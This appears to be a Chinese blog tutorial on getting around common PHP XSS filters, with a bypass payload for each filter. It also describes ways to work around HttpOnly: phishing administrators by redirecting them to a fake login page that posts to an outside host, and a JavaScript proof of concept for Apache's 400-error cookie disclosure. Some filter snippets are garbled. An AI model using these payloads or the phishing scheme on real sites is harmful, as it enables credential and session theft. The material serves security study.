XSS的修复与绕过

一.常见修复方案绕过

  • 黑名单式去除法

(这里只是举个过滤方法的栗子,所以过滤内容没有写很多)

<?php
$str = $_GET['text'];
$search = array('<script>', '</script>');
echo str_replace($search,' ', $str);

payload:<scr<script>ipt>alert(0)</sc</script>ript>

不多说。

  • 黑名单式打乱法

出自: http://www.jb51.net/article/43005.htm

$ra1 = Array('javascript', 'vbscript', 'expression', 'applet', 'meta', 'xml', 'blink', 'link', 'style', 'script', 'embed', 'object', 'iframe', 'frame', 'frameset', 'ilayer', 'layer', 'bgsound', 'title', 'base'); 

$ra2 = Array('onabort', 'onactivate', 'onafterprint', 'onafterupdate', 'onbeforeactivate', 'onbeforecopy', 'onbeforecut', 'onbeforedeactivate', 'onbeforeeditfocus', 'onbeforepaste', 'onbeforeprint', 'onbeforeunload', 'onbeforeupdate', 'onblur', 'onbounce', 'oncellchange', 'onchange', 'onclick', 'oncontextmenu', 'oncontrolselect', 'oncopy', 'oncut', 'ondataavailable', 'ondatasetchanged', 'ondatasetcomplete', 'ondblclick', 'ondeactivate', 'ondrag', 'ondragend', 'ondragenter', 'ondragleave', 'ondragover', 'ondragstart', 'ondrop', 'onerror', 'onerrorupdate', 'onfilterchange', 'onfinish', 'onfocus', 'onfocusin', 'onfocusout', 'onhelp', 'onkeydown', 'onkeypress', 'onkeyup', 'onlayoutcomplete', 'onload', 'onlosecapture', 'onmousedown', 'onmouseenter', 'onmouseleave', 'onmousemove', 'onmouseout', 'onmouseover', 'onmouseup', 'onmousewheel', 'onmove', 'onmoveend', 'onmovestart', 'onpaste', 'onpropertychange', 'onreadystatechange', 'onreset', 'onresize', 'onresizeend', 'onresizestart', 'onrowenter', 'onrowexit', 'onrowsdelete', 'onrowsinserted', 'onscroll', 'onselect', 'onselectionchange', 'onselectstart', 'onstart', 'onstop', 'onsubmit', 'onunload'); 
$ra = array_merge($ra1, $ra2)
$replacement = substr($ra[$i], 0, 2).'<x>'.substr($ra[$i], 2);

在检测到敏感字符后,会加一个<x>打乱,使得语句不生效,但是要知道不基于特征的过滤方法是永远过滤不完的,这种看似过滤一大堆,但是并没有什么卵用,因为html标签和JavaScript肯定不止这些。

<video width="0" height="0" oncanplay="(function(){alert(1)})();">
<source src="http://www.runoob.com/try/demo_source/mov_bbb.mp4" type="video/mp4">
</video>
  • 特征式去除法

出自: http://www.jquerycn.cn/a_24516

<?php
function safe_replace($string) {
$string = str_replace('%20','',$string);
$string = str_replace('%27','',$string);
$string = str_replace('%2527','',$string);
$string = str_replace('*','',$string);
$string = str_replace('"','"',$string);
$string = str_replace("'",'',$string);
$string = str_replace('"','',$string);
$string = str_replace(';','',$string);
$string = str_replace('<','<',$string);
$string = str_replace('>','>',$string);
$string = str_replace("{",'',$string);
$string = str_replace('}','',$string);
$string = str_replace('','',$string);
return $string;
}
?>

这种方法相比上两种要靠谱的多,只能在特定场景下绕过,下面给出一个场景

首先要知道%0a相当于回车(换行)

那么在这里可以使用%0a来换行一下然后去输出

Payload:%0aalert(0);

此时源代码:

  • 特征式编码法

这种跟上面差不多,基于特征的只能在特定场景绕过,下面再给出一个场景:

<?php
$name = $_GET["name"];
$name = htmlspecialchars($name);
?>
<input type='text' value='<?php echo $name?>'>

Payload:‘onclick=’alert(0)

Htmlspecialchars默认是不过滤单引号的,只有在quotestyle 选项为ENT_QUOTES才会过滤

二.Httponly限制最大利用XSS

       首先要知道我们像嵌入的xss.js是如何获取到目标cookie的。

浏览器中的document对象中,就储存了Cookie的信息,而利用js可以把这里面的Cookie给取出来,在传这个cookie的值到xss平台中。

那么应答头中含有httponly属性,客户端的一切js操作都会被禁止,不止我们盗不了cookie,连开发者都不能在前端操作cookie。

虽然取不了cookie但仍然可以取一些敏感信息,如host,referer,IP,等。

(1)钓鱼

虽然有了httponly后xss不能取到cookie,但能取到后台地址,这个时候我们可以伪造一个跟目标站相同的后台登录页面。

再通过xss使目标站跳转到我们的钓鱼后台登录页面。最后达到当管理员访问被xss的页面时自动跳转到我们的钓鱼页面。诱导管理员输入账号密码。

//后台登录钓鱼页面

修改action值为接收账号密码地址(http://xssir.org/x.php)

接收账号密码的脚本,如果你看到服务器上多了一个add.txt就鱼儿已经上钩。

(2)分析源码

Xss不止能获取基本信息,还可以获取源码,通过源码加载的JS,CSS仍然可以获得很多有价值的信息

通过分析每个js的作用,分析网站后台的具体功能点,有很多意想不到的操作,这个不容易在文章中体现出来,主要还是看个人水平

获取源代码这个不容易在文章里体现出来,主要还是看个人的审计水平

(3)Apache httpOnly Cookie Disclosure

这个漏洞十分罕见了,我反正是没遇见过,

当apache接收到一个大于4k的cookie的时候,会返回一个400的错误,并且把所有的cookie完整的在页面当中显示出来。

给用户在正常的cookie的基础上再增加一些无用的cookie,使用户的cookie大于4k,然后js再发包请求一次网站,这时apache返回的响应就是400,并把cookie显示出来,这是我们只要用js正则匹配出正常的cookie即可,由于不是js直接获取cookie,而只是正则匹配出返回的字符串而已,便相当于绕过了cookie的httponly的属性,完整的攻击需要加上把匹配的字符串再发送到自己的一个接受文件当中即可。

POC:

// Source: https://gist.github.com/1955a1c28324d4724b7b/7fe51f2a66c1d4a40a736540b3ad3fde02b7fb08  
// Most browsers limit cookies to 4k characters, so we need multiple  
function setCookies (good) {  
    // Construct string for cookie value  
    var str = "";  
    for (var i=0; i< 819; i++) {  
        str += "x";  
    }  
    // Set cookies  
    for (i = 0; i < 10; i++) {  
        // Expire evil cookie  
        if (good) {  
            var cookie = "xss"+i+"=;expires="+new Date(+new Date()-1).toUTCString()+"; path=/;";  
        }  
        // Set evil cookie  
        else {  
            var cookie = "xss"+i+"="+str+";path=/";  
        }  
        document.cookie = cookie;  
    }  
}  
function makeRequest() {  
    setCookies();  
    function parseCookies () {  
        var cookie_dict = {};  
        // Only react on 400 status  
        if (xhr.readyState === 4 && xhr.status === 400) {  
            // Replace newlines and match <pre> content  
            var content = xhr.responseText.replace(/\r|\n/g,'').match(/<pre>(.+)<\/pre>/);  
            if (content.length) {  
                // Remove Cookie: prefix  
                content = content[1].replace("Cookie: ", "");  
                var cookies = content.replace(/xss\d=x+;?/g, '').split(/;/g);  
                // Add cookies to object  
                for (var i=0; i<cookies.length; i++) {  
                    var s_c = cookies[i].split('=',2);  
                    cookie_dict[s_c[0]] = s_c[1];  
                }  
            }  
            // Unset malicious cookies  
            setCookies(true);  
            alert(JSON.stringify(cookie_dict));  
        }  
    }  
    // Make XHR request  
    var xhr = new XMLHttpRequest();  
    xhr.onreadystatechange = parseCookies;  
    xhr.open("GET", "/", true);  
    xhr.send(null);  
}  
makeRequest();

 

发表评论

电子邮件地址不会被公开。 必填项已用*标注

Are you human? Click the Pineapple...